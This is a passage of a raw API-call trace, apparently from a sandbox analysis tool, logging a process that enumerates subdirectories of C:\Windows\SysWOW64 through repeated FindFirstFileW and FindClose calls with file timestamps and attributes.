ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2972fc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2972fc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.950] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\IME\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x104eb58, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.951] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\inetsrv\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf40729a7, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.951] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\InstallShield\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.951] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.951] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\it-IT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a7d938, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a7d938, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.952] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ja-JP\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10c0f66, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a577de, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a577de, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.953] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ko-KR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d2b18c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d2b18c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.955] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\LogFiles\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.956] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\lt-LT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2d512e6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2d512e6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.957] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\lv-LV\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3c7dcc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3c7dcc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.957] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\manifeststore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8ca81b50, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8ca81b50, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.957] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\migration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.958] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\migwiz\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.960] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Msdtc\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb398a053, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb398a053, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3a949f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x86b000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="wet.dll", cAlternateFileName="")) returned 0xffffffff [0071.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\MUI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.961] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\nb-NO\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.962] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\NDF\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9e09ea07, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.963] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\NetworkList\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x110d21a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9e09ea07, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0071.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\nl-NL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3d88638, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3d88638, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.964] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\oobe\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.965] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\pl-PL\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3eb9108, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3eb9108, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.966] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e52f2f2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.967] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\pt-BR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x110d21a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f053bc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f053bc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.968] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\pt-PT\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.970] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ras\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f2b516, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f2b516, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.971] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Recovery\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3f777ca, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3f777ca, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.971] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\restore\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.971] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ro-RO\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.971] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\ru-RU\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x3fc3a7e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x3fc3a7e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.972] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Setup\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.974] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sk-SK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.975] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sl-SI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x405bfe6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x405bfe6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.975] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\slmgr\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.975] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Speech\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1133374, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.976] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\spp\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11594ce, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11594ce, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.976] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sppui\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x117f628, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8466ab, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8466ab, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.976] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sr-Latn-CS\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40ce3f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40ce3f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.977] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sv-SE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40f454e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40f454e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.979] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\sysprep\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, 